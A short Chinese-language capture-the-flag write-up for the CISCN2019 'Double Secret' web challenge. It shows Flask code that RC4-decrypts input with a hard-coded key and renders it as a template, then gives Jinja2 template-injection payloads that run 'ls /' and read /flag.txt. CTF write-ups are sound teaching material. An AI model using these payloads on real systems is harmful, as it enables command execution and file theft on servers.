# [CISCN2019 华东南赛区] Double Secret

由标题可以知道:有两个 secret;尝试 /secret

1

网页显示是给个参数他就会给你加密(但是却是解密)

有两个 secret 可以在参数这里猜:

加?secret=12345 发现错误:

2

发现是 ssti 报错:盲猜 jinja2:

找 app.py

 if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))
 
    if 'ciscn' in a.lower():
        return 'flag detected!'  
    return a

可以发现是加了一个 rc4 的解密,密钥为:HereIsTreasure

我直接搞个加密 rc4 的密钥一样就可以了:

payload:

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}

4

读 flag.txt payload:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}

但是要加一个 url 加密,在加一个加密所有字符(因为好像直接输入会丢字符)

3

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal